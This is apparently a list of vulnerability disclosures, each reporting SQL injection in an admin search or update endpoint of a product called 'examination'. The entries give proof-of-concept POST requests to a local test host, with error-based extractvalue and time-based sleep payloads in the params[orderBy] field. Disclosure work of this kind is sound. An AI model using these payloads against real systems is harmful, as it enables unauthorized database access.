qbz95aaa

admin/special/search has sql injection vulnerability

1

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：admin/special/search URL admin/special/search poc `POST /admin/special/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 876 Accept: application/json, text/javascript, */*; q=0.01...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：admin/subject/search URL admin/subject/search poc `POST /admin/subject/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 1131 Accept: application/json, text/javascript, */*; q=0.01...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details： /admin/admin/auth-rule/search URL /admin/admin/auth-rule/search poc ``` POST /admin/admin/auth-rule/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 796 Accept: application/json, text/javascript,...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：admin/admin/authority/search URL admin/admin/authority/search poc ``` POST /admin/admin/authority/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 975 Accept: application/json, text/javascript, */*;...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：admin/admin/module/update URL /admin/admin/module/update poc ``` POST /admin/admin/module/update HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 2843 Accept: application/json, text/javascript, */*;...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：admin/admin/role/search URL /admin/admin/role/search poc extractvalue(1,concat(char(126),md5(1482967727))) ``` POST /admin/admin/role/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 807 Accept: application/json, text/javascript,...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：admin/admin/auth-assignment/search poc params%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281446970635%29%29%29 ``` POST /admin/admin/auth-assignment/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 555 Accept: application/json, text/javascript, */*; q=0.01...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：/admin/admin/menu/search URL /admin/admin/menu/search poc payload：(select*from(select+sleep(1)union/**/select+1)a) sleep(1) ``` POST /admin/admin/menu/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 1431 Accept: application/json,...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：/admin/admin/admin/search URL /admin/admin/admin/search poc sqlpayload:extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281188456798%29%29%29 ``` POST /admin/admin/admin/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 886 Accept: application/json, text/javascript,...

Vulnerability Product:examination Vulnerability type:sql injection Vulnerability Details：admin/admin/admin-log/search URL /admin/admin/admin-log/search poc ParamKey：params[orderBy] Payload:extractvalue(1,concat(char(126),md5(1188456798))) ` POST /admin/admin/admin-log/search HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 886 Accept: application/json,...